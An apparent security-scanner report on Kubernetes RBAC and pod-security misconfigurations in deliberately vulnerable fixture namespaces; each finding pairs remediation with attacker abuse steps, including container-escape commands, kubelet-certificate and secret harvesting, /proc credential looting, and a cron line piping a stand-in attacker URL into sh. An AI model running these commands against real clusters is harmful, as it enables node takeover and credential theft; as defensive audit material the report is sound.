A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceClusterRole

A ClusterRole is a named set of permissions ("can get/list on pods across the cluster"). It does nothing on its own; it must be granted to a subject through a ClusterRoleBinding (cluster-wide) or RoleBinding (one namespace).

The infamous cluster-admin ClusterRole grants verbs: ["*"] on resources: ["*"] in apiGroups: ["*"], which is total control.

Kubernetes docs ↗
  1. Attacker enumerates RBAC drift with kubectl get clusterrolebindings,rolebindings -A -o json | jq and identifies ClusterRoleBinding crb-stale-roleref as referencing a non-existent ClusterRole kubesplaining-fixture-deleted-role.
  2. Attacker (or any identity with create clusterroles) crafts a ClusterRole manifest named kubesplaining-fixture-deleted-role with maximally permissive rules — * verbs on * resources, for example.
  3. The new ClusterRole is created; Kubernetes immediately resolves the existing binding ClusterRoleBinding crb-stale-roleref to the new rules.
  4. ServiceAccount/rbac-fixtures/sa-stale-roleref now holds those permissions without any binding-review log entry — only the (likely-routine-looking) ClusterRole creation was reviewed.
Remediation
Delete the stale binding (kubectl delete clusterrolebinding crb-stale-roleref). If the ClusterRole was deleted by mistake, restore it from version control and confirm the binding's intended grant is still appropriate.
  1. Confirm the binding is no longer needed: kubectl get clusterrolebinding crb-stale-roleref -o yaml.
  2. If the ClusterRole kubesplaining-fixture-deleted-role should still exist, restore it from version control and re-review the binding's grant in the context of the restored rules.
  3. If the binding is obsolete, delete it: kubectl delete clusterrolebinding crb-stale-roleref.
  4. Add a CI lint (Kyverno / Gatekeeper / ValidatingAdmissionPolicy) that rejects any clusterrolebinding whose roleRef does not resolve to an existing ClusterRole.
Evidence
Source bindingcrb-stale-roleref
Inspect: kubectl get clusterrolebinding crb-stale-roleref -o yaml
missing_role
"kubesplaining-fixture-deleted-role"
missing_role_kind
"ClusterRole"
source_binding_kind
"ClusterRoleBinding"
Show raw JSON
{
  "binding_namespace": "",
  "missing_role": "kubesplaining-fixture-deleted-role",
  "missing_role_kind": "ClusterRole",
  "other_subjects": [],
  "source_binding": "crb-stale-roleref",
  "source_binding_kind": "ClusterRoleBinding"
}
LOW

Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture

KUBE-RBAC-STALE-002 1 subject Score 3.5
MITRE ATT&CK: T1098T1078

Affected subject

LOW ServiceAccount/rbac-fixtures/ghost-sa-fixture Namespace 3.5
Namespace rbac-fixtures only stale binding lists non-existent ServiceAccount rbac-fixtures/ghost-sa-fixture
Scope · Namespace Namespace rbac-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/ghost-sa-fixture Resource: Role/rbac-fixtures/r-stale-subject-target

RoleBinding rbac-fixtures/rb-stale-subject grants permissions from Role rbac-fixtures/r-stale-subject-target to ServiceAccount rbac-fixtures/ghost-sa-fixture, but no such ServiceAccount exists in namespace rbac-fixtures. No pods can mount a token for this SA today, so the binding confers no realised permissions.

This is latent privilege escalation. The moment a ServiceAccount named exactly ghost-sa-fixture is created in namespace rbac-fixtures — by an attacker with create serviceaccounts in that namespace, by a routine redeploy from a stale GitOps repo, or by an operator restoring an accidentally-deleted SA — it inherits everything Role rbac-fixtures/r-stale-subject-target grants. The binding itself is never re-reviewed; only the SA creation is, and that step usually looks unremarkable.

Note: kubesplaining only validates ServiceAccount subjects this way. User and Group subjects cannot be checked against the snapshot — Kubernetes authenticates them externally (OIDC, client certs, cloud IAM) and keeps no inventory of which identities are valid.

Impact Latent grant: an attacker with create serviceaccounts -n rbac-fixtures can pre-position a ServiceAccount named ghost-sa-fixture, mount its token in a pod they control, and instantly assume the permissions from Role rbac-fixtures/r-stale-subject-target.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceRole

A Role is a permission set that only applies inside one namespace. Roles cannot reference cluster-scoped resources (like Nodes or PersistentVolumes).

  1. Attacker enumerates bindings with kubectl get rolebindings,clusterrolebindings -A -o json and notices RoleBinding rbac-fixtures/rb-stale-subject lists a subject ServiceAccount rbac-fixtures/ghost-sa-fixture that does not exist.
  2. Attacker uses an existing create serviceaccounts -n rbac-fixtures permission (or compromises an identity that has it) to create a ServiceAccount named ghost-sa-fixture in that namespace.
  3. Attacker creates a pod with spec.serviceAccountName: ghost-sa-fixture (or projects a TokenRequest for the new SA into a pod they control).
  4. The mounted token authenticates as ServiceAccount rbac-fixtures/ghost-sa-fixture, which now resolves through RoleBinding rbac-fixtures/rb-stale-subject into the role's permissions.
Remediation
Remove the stale ServiceAccount subject from the binding, or delete the binding entirely if it's obsolete. If the SA was deleted in error, restore it from version control.
  1. Confirm no workloads still depend on this SA: kubectl get all -n rbac-fixtures -o yaml | rg 'serviceAccountName:\s*ghost-sa-fixture'.
  2. Edit the binding to drop the stale subject, or delete the binding outright if it is obsolete.
  3. If the SA was deleted by mistake, restore it (kubectl apply -f <sa.yaml>) and re-review whether the binding's grant is still appropriate.
  4. Add a CI lint that rejects bindings whose ServiceAccount subjects do not resolve to an existing SA in the named namespace.
Evidence
Source roler-stale-subject-target
Inspect: kubectl get clusterrole r-stale-subject-target -o yaml
Source bindingrb-stale-subject
Inspect: kubectl get clusterrolebinding rb-stale-subject -o yaml
binding_namespace
"rbac-fixtures"
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "binding_namespace": "rbac-fixtures",
  "source_binding": "rb-stale-subject",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-stale-subject-target",
  "source_role_kind": "Role"
}

Pod Security

111 findings · 17 rules · 5 critical · 32 high · 71 medium · 3 low
CRITICAL

Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock/var/run/docker.sock)

KUBE-ESCAPE-005 1 subject Score 10.0
MITRE ATT&CK: T1611T1610T1068

Affected subject

CRITICAL Deployment/vulnerable/socket-mounts-app Workload 10.0
Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock/var/run/docker.sock)
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts the Docker UNIX socket /var/run/docker.sock from the node into the container (volume docker-sock). The Docker daemon listens on this socket as root and exposes the entire Docker Engine API, including POST /containers/create, which lets any client launch a new container with arbitrary mounts, devices, capabilities, and host-namespace settings.

Mounting docker.sock is equivalent to giving the workload an unrestricted root shell on the node. There is no permission boundary inside the Docker API; a "read-only" mount of the socket file does not help because the socket is a request channel, not a stored object. Once you can connect() to it, you can issue any command. The OWASP Docker Security Cheat Sheet calls this the top-priority anti-pattern, and HackTricks documents the breakout as a one-liner.

From inside the container, install the Docker CLI (or use curl --unix-socket) and run docker run -v /:/host --privileged --pid=host -it alpine chroot /host. The new container mounts the host root, runs as host root, and can drop a backdoor into /etc/cron.d/, steal /var/lib/kubelet/pki/, or nsenter -t 1 -a to land on the host directly.

Impact Equivalent to root on the node: launch any container with any mount, mount the host filesystem, steal kubelet certs, and pivot to the entire cluster.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with docker.sock mounted.
  2. Verify: ls -la /var/run/docker.sock; curl --unix-socket /var/run/docker.sock http://localhost/version.
  3. Spawn a privileged container that mounts host root: docker run -it --rm -v /:/host alpine chroot /host /bin/sh.
  4. Read kubelet client cert: cat /host/var/lib/kubelet/pki/kubelet-client-current.pem and use it to talk to the apiserver as system:node:<nodeName>.
  5. Persist by writing an SSH key to /host/root/.ssh/authorized_keys or installing a systemd service.
Remediation
Remove the docker.sock hostPath mount; do not run sibling-container patterns on Kubernetes.
  1. Identify why the workload talks to Docker. The usual suspects are a CI runner, log shipper, or build system. Replace with a Kubernetes-native alternative: Buildah/Kaniko/Buildkit-rootless for builds, the Kubernetes API for pod orchestration, fluent-bit's tail input for logs.
  2. Remove the hostPath: /var/run/docker.sock volume and corresponding volumeMount.
  3. Apply Pod Security Admission baseline to the namespace (forbids hostPath volumes) and/or use a Kyverno/OPA policy that explicitly denies this path.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes}' | jq should not contain /var/run/docker.sock.
Evidence
Volumedocker-sock
Host path/var/run/docker.sock
Docker socket (container engine takeover)
Show raw JSON
{
  "path": "/var/run/docker.sock",
  "volume": "docker-sock"
}
CRITICAL

Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app

KUBE-ESCAPE-006 1 subject Score 10.0
MITRE ATT&CK: T1611T1552.001T1543

Affected subject

CRITICAL Deployment/vulnerable/risky-app Workload 10.0
Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app mounts the host's root filesystem (hostPath: /) inside the container via volume rootfs. Combined with the container's UID (typically root), this exposes the entire node filesystem: kubelet credentials, every other pod's mounted secrets, the container runtime state, and on control-plane nodes the static-pod manifests under /etc/kubernetes/manifests.

Mounting / is one of the few configurations that, by itself, guarantees host compromise without requiring a CVE, kernel exploit, or even the privileged flag. The kubelet stores per-pod secrets at /var/lib/kubelet/pods/<uid>/volumes/kubernetes.io~secret/<name>/... in cleartext (tmpfs); a read-only host-root mount is enough to copy them all out. A read-write mount turns this into trivial persistence: write to /etc/cron.d/, modify /etc/sudoers, drop a shared-object into /etc/ld.so.preload, or, on a control-plane node, drop a malicious manifest into /etc/kubernetes/manifests/ which the kubelet then runs as a static pod with full privileges.

A single command sequence (chroot /host, cat /host/var/lib/kubelet/pki/kubelet-client-current.pem, then kubectl --kubeconfig=<crafted> get secrets -A) yields full secret enumeration on every pod on the node. Public exploit aids (kubeletmein, peirates) automate the chain.

Impact Read every secret on the node; write to host cron, SSH, kubelet PKI, or static-pod manifests; persistence and pivot to cluster-admin.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. RCE in the pod that mounts / at /host.
  2. Steal kubelet creds: cp /host/var/lib/kubelet/pki/kubelet-client-current.pem /tmp/k.pem.
  3. Enumerate other pods' secrets: find /host/var/lib/kubelet/pods -path '*/kubernetes.io~secret/*' -type f -exec cat {} \;.
  4. Persist: echo '* * * * * root curl http://attacker/x|sh' > /host/etc/cron.d/k8s (RW) or, on a control-plane node, cp evil-pod.yaml /host/etc/kubernetes/manifests/.
  5. With kubelet creds, run kubectl --client-certificate=/tmp/k.pem ... and harvest cluster secrets.
Remediation
Never mount / from the node. Use specific subpaths or projected volumes if absolutely required.
  1. Identify the actual file or directory the workload needs and replace the mount with the narrowest possible path (and readOnly: true).
  2. Where possible, replace hostPath entirely with a CSI-backed volume, ConfigMap, Secret, or projected volume.
  3. Apply Pod Security Admission baseline to the namespace (forbids hostPath). For unavoidable cases, allowlist via Kyverno/Gatekeeper that pins the path and readOnly: true.
  4. Validate: kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.volumes[*].hostPath.path}' does not contain /.
Evidence
Volumerootfs
Host path/
Node root filesystem (full host takeover)
Show raw JSON
{
  "path": "/",
  "volume": "rootfs"
}
CRITICAL

Privileged container app in Deployment/vulnerable/risky-app

KUBE-ESCAPE-001 1 subject Score 9.9
MITRE ATT&CK: T1611T1610T1068

Affected subject

CRITICAL Deployment/vulnerable/risky-app Workload 9.9
Privileged container app in Deployment/vulnerable/risky-app
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Privilege Escalation Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app is configured with securityContext.privileged: true. A privileged container retains every Linux capability (CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_NET_ADMIN, etc.), bypasses all Linux Security Module profiles (AppArmor/SELinux), runs without the default seccomp profile, and shares /dev with the host. From the kernel's perspective it is indistinguishable from a process running directly on the node.

This is the single most dangerous PodSpec setting: capability drops, read-only root filesystem, and runAsNonRoot are all neutralised because the container can simply remount, reload kernel modules, or call setuid(0). The Pod Security Standards explicitly forbid privileged containers at both Baseline and Restricted levels.

Real-world breakout: an attacker with code execution loads a kernel module with insmod (CAP_SYS_MODULE), or uses mknod to recreate /dev/sda1, mounts the host root, and writes to /root/.ssh/authorized_keys. Public exploit tooling (deepce, kdigger -ac, kubeletmein) automates these in seconds.

Impact Full root on the host node: read every Secret on the node, exfiltrate the kubelet client certificate, schedule pods anywhere, and pivot to other nodes.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Attacker gains code execution inside the privileged pod (RCE, malicious image, SSRF→shell).
  2. They confirm the configuration with kdigger dig admission or deepce.sh.
  3. They mount the host filesystem: mkdir /host && mount /dev/sda1 /host.
  4. They steal kubelet credentials from /host/var/lib/kubelet/pki/kubelet-client-current.pem or write /host/root/.ssh/authorized_keys.
  5. With kubelet creds they list every Pod and Secret on the node, then escalate to cluster-admin via the cgroup-release-agent technique or nsenter -t 1 -a.
Remediation
Remove privileged: true and explicitly grant only the Linux capabilities the workload actually needs.
  1. Audit why the container needs privileged. Most apps do not. Trace which capability is actually required (often only NET_BIND_SERVICE).
  2. Replace privileged: true with capabilities.drop: [ALL] and an explicit capabilities.add: [<NEEDED_CAP>]. Add allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, runAsNonRoot: true, and seccompProfile.type: RuntimeDefault.
  3. Enforce at admission time: label the namespace pod-security.kubernetes.io/enforce: baseline (or restricted) so future regressions are blocked.
  4. Validate with kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.privileged}' returning empty/false.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
CRITICAL

Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)

KUBE-CONTAINERD-SOCKET-001 1 subject Score 9.8
MITRE ATT&CK: T1611T1610T1068

Affected subject

CRITICAL Deployment/vulnerable/socket-mounts-app Workload 9.8
Containerd socket mounted into Deployment/vulnerable/socket-mounts-app (volume containerd-sock)
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts containerd's UNIX socket (/run/containerd/containerd.sock or /var/run/containerd/containerd.sock) into the container via volume containerd-sock. Containerd runs as root and is the runtime the kubelet uses to start every pod on the node. In practice, this means that if you can talk to its API, you can create, modify, or exec into any container on the host, including kube-system control-plane pods.

This is the modern equivalent of the docker.sock anti-pattern. Since Kubernetes 1.24 removed dockershim, most clusters use containerd or CRI-O directly; the same breakout primitives apply but the tooling differs (ctr, crictl). Kubernetes places its containers under containerd namespace k8s.io, so ctr -n k8s.io containers list enumerates every pod on the node.

The Grey Corner's containerd-socket-exploitation series documents the one-liner: install or copy the ctr binary, then run ctr --address /run/containerd/containerd.sock -n k8s.io run --rm --mount type=bind,src=/,dst=/host,options=rbind:rw --privileged docker.io/library/alpine:latest pwn /bin/sh. The result is a privileged container with / mounted at /host. From there an attacker reads the kubelet client cert, dumps every pod's secrets, or task execs a reverse shell into the apiserver static pod on a control-plane node.

Impact Root on the node and arbitrary code execution inside any container on the node, including kube-system static pods. Equivalent to compromising the kubelet itself.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Code execution in the pod with containerd.sock mounted.
  2. ls -la /run/containerd/containerd.sock; ctr --address /run/containerd/containerd.sock version.
  3. List target containers: ctr -n k8s.io containers list. Note kube-apiserver, etcd, or any victim app.
  4. Spawn a privileged escape container: ctr -n k8s.io run --rm --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/alpine:latest x /bin/sh -c 'chroot /host'.
  5. From host, harvest /var/lib/kubelet/pki/kubelet-client-current.pem and pivot to the API server.
Remediation
Remove the containerd-socket hostPath mount; use the Kubernetes API or CRI-aware tools instead.
  1. Determine why the workload needs CRI access. Legitimate use is rare and typically limited to specific node-agent observability tools. Replace with a Kubernetes-API-driven alternative.
  2. Remove the hostPath volume and volumeMount targeting /run/containerd/containerd.sock (and aliases).
  3. For monitoring use cases, use the kubelet's /metrics/cadvisor endpoint behind an RBAC-scoped ServiceAccount, not raw socket access.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -i containerd returns no socket mount.
Evidence
Volumecontainerd-sock
Host path/var/run/containerd/containerd.sock
containerd socket (container engine takeover)
Show raw JSON
{
  "path": "/var/run/containerd/containerd.sock",
  "volume": "containerd-sock"
}
CRITICAL

Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app

KUBE-ESCAPE-002 1 subject Score 9.0
MITRE ATT&CK: T1611T1552.001T1057

Affected subject

CRITICAL Deployment/vulnerable/host-ns-app Workload 9.0
Pod shares host PID namespace (hostPID: true) in Deployment/vulnerable/host-ns-app
Scope · Workload Workload Deployment/vulnerable/host-ns-app
Category: Privilege Escalation Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app sets spec.hostPID: true, joining the host's PID namespace. Every process on the node (kubelet, container runtime, other tenant workloads, sshd, cloud-init agents) is visible via /proc and addressable by PID from inside this pod.

The risk is twofold. First, information disclosure: /proc/<pid>/environ, /proc/<pid>/cmdline, and /proc/<pid>/root/... leak environment variables (which often contain database passwords, cloud credentials, and Kubernetes service-account tokens), CLI args, and arbitrary file contents from other containers' rootfs. Second, when combined with CAP_SYS_PTRACE or privileged: true, an attacker can nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash and land directly in the host's mount namespace as root.

Bishop Fox's bad-pods library and kdigger's processes bucket grep /proc/*/environ for AWS_, KUBE_, DATABASE_URL, and service-account JWTs. Even without extra capabilities, host-PID alone is enough to harvest cleartext credentials from neighboring pods on the same node. This is a classic noisy-neighbor escalation primitive (TeamTNT, Hildegard).

Impact Read process arguments, environment variables, and /proc/<pid>/root of every other pod on the node; harvest service-account tokens and cloud credentials from neighbors.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Gain code execution in the pod with hostPID: true.
  2. Enumerate processes: ps -ef shows host kubelet, runc, and sibling containers.
  3. Loot environments: for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p; done | grep -iE 'token|secret|aws|key'.
  4. Read other pods' service-account tokens via cat /proc/<pid>/root/var/run/secrets/kubernetes.io/serviceaccount/token.
  5. If CAP_SYS_PTRACE or privileged is also present, nsenter -t 1 -a to land in the host root namespace and persist via SSH key or systemd unit.
Remediation
Set spec.hostPID: false (or omit it; the default is false).
  1. Identify why hostPID was set; legitimate uses are limited to node-monitoring DaemonSets like node-exporter.
  2. Remove hostPID: true from the pod template (or set explicitly to false).
  3. Apply Pod Security Admission baseline: kubectl label ns <ns> pod-security.kubernetes.io/enforce=baseline.
  4. Validate with kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostPID}' returning empty or false.
Evidence
hostPIDtrue
Shares the node's process namespace (can ptrace/kill node processes)
Show raw JSON
{
  "hostPID": true
}
HIGH

Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet

KUBE-PV-HOSTPATH-001 1 subject Score 8.6
MITRE ATT&CK: T1611T1078

Affected subject

HIGH Deployment/pv-hostpath-fixtures/pv-hostpath-app Workload 8.6
Pod-mounted PVC pvc-hostpath-kubelet is backed by a sensitive hostPath PV pv-hostpath-kubelet
Scope · Workload Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app
Category: Privilege Escalation Resource: Deployment/pv-hostpath-fixtures/pv-hostpath-app Namespace: pv-hostpath-fixtures

Workload Deployment/pv-hostpath-fixtures/pv-hostpath-app mounts PersistentVolumeClaim pvc-hostpath-kubelet via volume kubelet-data. The bound PersistentVolume pv-hostpath-kubelet uses spec.hostPath.path: /var/lib/kubelet, a sensitive node directory. Because Pod Security Admission inspects the PodSpec only and never follows the PVC -> PV indirection, this is a real Baseline/Restricted bypass: a namespace labeled pod-security.kubernetes.io/enforce=baseline (or restricted) would block a direct volumes.hostPath, but happily admits a Pod that mounts an equivalent path through a PVC.

Once mounted, the host directory is reachable from inside the container with the same blast radius as a direct hostPath: read kubelet credentials under /var/lib/kubelet, write SUID binaries via /, drop sshd authorized_keys via /root, leak /etc/shadow or kubeadm config from /etc, talk to the container runtime through /var/run/{docker,containerd}.sock. The PSA label gives a false sense of safety; the cluster operator typically discovers the bypass only when an unauthorized pod has already escaped to the node.

Real-world: a tenant with permission to create PVCs in their own namespace, plus cluster-wide pre-provisioned hostPath PVs (a common pattern for local-path-provisioner without scope restrictions), can claim the sensitive PV by name and mount it from a Baseline-enforced namespace. The Pod admits cleanly; the breakout follows.

Impact Same as a direct hostPath mount of /var/lib/kubelet (node takeover, kubelet credential theft, lateral movement to every other pod on the node). PSA enforce labels do not block this path, so attenuation does not apply.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. Attacker has create-pod and create-pvc rights in a namespace that has pod-security.kubernetes.io/enforce=baseline or restricted.
  2. They list pre-provisioned PersistentVolumes (kubectl get pv) and identify pv-hostpath-kubelet, which uses hostPath: /var/lib/kubelet.
  3. They create a PersistentVolumeClaim referencing pv-hostpath-kubelet by volumeName. The PVC binds.
  4. They create a Pod that mounts the PVC at a known mount point. PSA admits the pod because the PodSpec has no hostPath volume - only persistentVolumeClaim.
  5. From inside the container, they read/write the host directory with full container-process privilege. From /var/lib/kubelet they extract kubelet-client-current.pem; from / they chroot and pivot to the node.
Remediation
Remove the hostPath from PV pv-hostpath-kubelet, restrict who can create hostPath PVs, and stop the Pod from claiming this PV.
  1. Replace spec.hostPath on PersistentVolume pv-hostpath-kubelet with a CSI driver, an nfs/iscsi source, or a strictly-scoped local volume on a labeled node. The hostPath PV pattern is brittle for any workload, not just from a security angle.
  2. Restrict who can create cluster-scoped PersistentVolumes (PVs are non-namespaced) and who can create hostPath-typed PVs specifically. A Kyverno/Gatekeeper ClusterPolicy can deny spec.hostPath PVs outright, or whitelist only paths under /var/lib/your-app/.
  3. Delete or unbind the PVC pv-hostpath-fixtures/pvc-hostpath-kubelet so the workload stops consuming the sensitive PV. If the workload genuinely needs node-local state, use a local volume with nodeAffinity and a strict path allowlist instead.
  4. Validate: kubectl get pv pv-hostpath-kubelet -o jsonpath='{.spec.hostPath.path}' returns empty.
Evidence
Volumekubelet-data
Host path/var/lib/kubelet
Kubelet credentials & pod tokens for every pod on the node
claim_name
"pvc-hostpath-kubelet"
pv_name
"pv-hostpath-kubelet"
Show raw JSON
{
  "claim_name": "pvc-hostpath-kubelet",
  "path": "/var/lib/kubelet",
  "pv_name": "pv-hostpath-kubelet",
  "volume": "kubelet-data"
}
HIGH

/var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive

KUBE-ESCAPE-008 1 subject Score 8.5
MITRE ATT&CK: T1611T1552.001T1083

Affected subject

HIGH Deployment/vulnerable/socket-mounts-app Workload 8.5
/var/log mounted from host into Deployment/vulnerable/socket-mounts-app enables log-symlink escape primitive
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app
Category: Privilege Escalation Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app mounts /var/log from the host via volume var-log. This directory is the canonical container-log staging area: the kubelet writes per-pod logs into /var/log/pods/<ns>_<pod>_<uid>/<container>/0.log as symlinks pointing to the runtime's actual log files.

The exploit is that kubectl logs causes the kubelet (running as root) to read those symlinks. If a pod can write into the host's /var/log (because it has the directory mounted), it can replace its own 0.log symlink with one pointing to ANY file on the node, e.g. /etc/shadow or /var/lib/kubelet/pki/kubelet-client-current.pem. The next kubectl logs <pod> returns the contents of that file as if it were the container's stdout. This is the well-known /var/log symlink escape (Aqua Security, KubeHound CE_VAR_LOG_SYMLINK, CVE-2017-1002101, CVE-2021-25741).

The pattern is very common in misconfigured log shippers (Fluentd, Filebeat, Promtail). On multi-tenant clusters where any user can kubectl logs against pods they own, this is a universal arbitrary-file-read primitive.

Impact Arbitrary file read on the host node as root via the kubelet's log-resolving behavior; compromise kubelet PKI, /etc/shadow, etcd snapshots, every pod's mounted secrets.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueContainer escape to host

The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

  1. RCE in a pod that has hostPath: /var/log mounted (RW).
  2. Find own pod's log-symlink directory: ls -la /var/log/pods/.
  3. Replace 0.log symlink: ln -sf /etc/shadow /var/log/pods/<ns>_<pod>_<uid>/<container>/0.log.
  4. Trigger the read: kubectl logs <pod> -c <container> returns /etc/shadow.
  5. Repeat for kubelet PKI and pivot via direct apiserver auth as system:node:<nodeName>.
Remediation
Do not mount /var/log (or its subdirectories) from the host into application pods; use the kubelet logs API or a log-aggregator sidecar pattern.
  1. For log-shipper DaemonSets that genuinely need host logs, switch to read-only mount AND restrict to /var/log/containers and /var/log/pods only (not the parent /var/log).
  2. Configure the log shipper to refuse following symlinks (e.g. Fluent Bit Path_Key) and run as a non-root UID.
  3. For application pods, route logs to stdout/stderr only. Kubernetes captures these without any hostPath. Drop the hostPath mount.
  4. Validate: kubectl get deployment/socket-mounts-app -n vulnerable -o yaml | grep -A2 hostPath does not contain /var/log (or only narrow read-only sub-path).
Evidence
Volumevar-log
Host path/var/log
Node logs (symlinks let you read other pods' logs)
Show raw JSON
{
  "path": "/var/log",
  "volume": "var-log"
}
HIGH

Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app

KUBE-ESCAPE-003 2 subjects Score 8.1
MITRE ATT&CK: T1611T1552.005T1046T1040

Affected subjects (2)

HIGH Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 8.1
Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Lateral Movement Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app sets spec.hostNetwork: true. The container is no longer in a sandboxed network namespace. It sees the node's interfaces, listens on the node's IPs and ports, and reaches every loopback service the kubelet talks to.

